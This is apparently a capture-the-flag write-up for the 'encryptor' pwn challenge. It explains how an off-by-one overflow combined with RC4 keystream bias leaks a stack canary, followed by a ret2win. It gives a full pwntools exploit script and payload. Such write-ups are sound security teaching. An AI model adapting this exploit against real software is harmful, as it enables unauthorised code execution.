Grab your resident cryptographer and try our shiny new Encryption-As-A-Service!
ncat --ssl encryptor-pwn.ept.gg 1337The challenge provides a single ELF binary, encryptor, which exposes a menu-driven encryption service. On startup, it helpfully leaks the address of a forbidden function.
Welcome to the EPT encryptor!
Please behave yourself, and remember to stay away from a certain function at 0x55da2f7324f0!
1. Encrypt a message
2. Reset the key and encrypt again
3. Change offset
4. Exit
>Despite PIE being enabled, the address of win() is printed on startup, removing the need for a separate code pointer leak.
Binary protections #
All standard mitigations are enabled.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledReverse engineering #
Encryption logic #
Menu option 1 allows the user to encrypt an arbitrary string.
if (menu_choice == 1) {
printf("Enter string to encrypt\n> ");
fgets(local_108, 242, stdin);
RC4(key, local_108 + local_18, local_1f8, local_108 + local_18);
puts_hex(local_1f8);
resetKey();
}Two issues immediately stand out:
fgets()reads 242 bytes into a 240-byte buffer- The RC4 input pointer is offset by a stack variable
local_18
Relevant stack layout:
uchar local_1f8[240]; // ciphertext
char local_108[240]; // user input
Because fgets() writes a trailing null byte, this results in a 1-byte overflow past local_108, corrupting the least significant byte of local_18.
Disabled offset control #
There is a menu option intended to change this offset:
> 3
Sorry, offset function disabled due to abuse!However, since local_18 is stored directly after the input buffer, the off-by-one overwrite allows us to modify it anyway. This gives indirect control over where RC4 reads plaintext from on the stack.
Stack layout and target #
The relevant portion of the stack frame looks like this:
[ user input buffer ] 240 bytes
[ offset variable ] 1 byte (LSB controllable)
[ padding ]
[ stack canary ] 8 bytes
[ saved rbp ] 8 bytes
[ return address ] 8 bytesBy adjusting the RC4 input offset, we can cause RC4 to encrypt arbitrary stack bytes, including the stack canary.
RC4 keystream bias #
RC4 is a stream cipher that generates a keystream K and encrypts via XOR:
$$ C = P \oplus K $$
RC4 is known to exhibit statistical biases in its early output bytes. In particular, the second keystream byte is biased toward zero with probability:
$$ \Pr[K_2 = 0] = \frac{1}{128} $$
instead of the uniform 1/256.
This enables a distinguishing attack: if the plaintext byte is constant across encryptions with fresh keys, the most frequent ciphertext byte converges to the plaintext value.
Canary leakage via bias #
We exploit this by:
- Forcing RC4 to encrypt a chosen stack byte
- Aligning that byte with keystream index 2
- Repeating encryption with fresh random keys
- Taking the most frequent ciphertext byte
On amd64, the first byte of the stack canary is always 0x00, so only the remaining 7 bytes need to be recovered.
Canary recovery script #
Below is the core logic used to recover the canary one byte at a time.
from pwn import *
elf = ELF("encryptor")
p = process(elf.path)
p.recvline()
win_addr = int(p.recvline().split(b"at ")[1][2:-1], 16)
canary = [0x00]
for i in range(1, 8):
counts = {j: 0 for j in range(256)}
# craft input so the RC4 plaintext pointer lands on canary[i]
payload = (b"\x00" * 240 + p8(0xf7 + i))[:241]
p.sendlineafter(b">", b"1")
p.sendafter(b">", payload)
while True:
p.sendlineafter(b">", b"2")
ct = bytes.fromhex(
p.recvline().split(b"Encrypted: ")[1].decode()
)
counts[ct[1]] += 1
best = max(counts, key=counts.get)
second = sorted(counts.values())[-2]
if counts[best] - second > 5:
canary.append(best)
break
canary = bytes(canary)
log.success(f"canary = {canary.hex()}")Notes:
- Only the least significant byte of the offset is controlled
- Keystream index 2 is targeted because its bias is strongest
- The threshold is heuristic and may need tuning on remote
Example output:
canary = 6f28c7b1a4923e00ret2win #
The binary contains a hidden menu option:
if (menu_choice == 1337) {
printf("Leaving already? Enter feedback:\n> ");
fgets(local_108, 288, stdin);
}This reads 288 bytes into a 240-byte buffer, allowing full control of the return address.
With the stack canary known and win() already leaked, exploitation is trivial.
Final payload #
p.sendlineafter(b">", b"1337")
p.sendlineafter(
b">",
b"A" * 0xf8 + canary + b"B" * 8 + p64(win_addr)
)
p.interactive()Successful execution:
EPT{test_flag}Final solve script #
Below is the consolidated exploit used locally and remotely.
from pwn import *
elf = ELF("encryptor")
p = process(elf.path)
p.recvline()
win_addr = int(p.recvline().split(b"at ")[1][2:-1], 16)
canary = [0x00]
for i in range(1, 8):
counts = {j: 0 for j in range(256)}
payload = (b"\x00" * 240 + p8(0xf7 + i))[:241]
p.sendlineafter(b">", b"1")
p.sendafter(b">", payload)
while True:
p.sendlineafter(b">", b"2")
ct = bytes.fromhex(
p.recvline().split(b"Encrypted: ")[1].decode()
)
counts[ct[1]] += 1
best = max(counts, key=counts.get)
second = sorted(counts.values())[-2]
if counts[best] - second > 5:
canary.append(best)
break
canary = bytes(canary)
p.sendlineafter(b">", b"1337")
p.sendlineafter(
b">",
b"A" * 0xf8 + canary + b"B" * 8 + p64(win_addr)
)
print(p.recvall().decode())Takeaways #
- RC4 remains exploitable even outside traditional network protocols
- Single-byte overwrites are often sufficient to defeat stack canaries
- Cryptographic bias can be weaponized as an information leak
- Disabling functionality does not remove its security impact
This challenge is a good example of cryptographic weaknesses amplifying memory corruption rather than replacing it.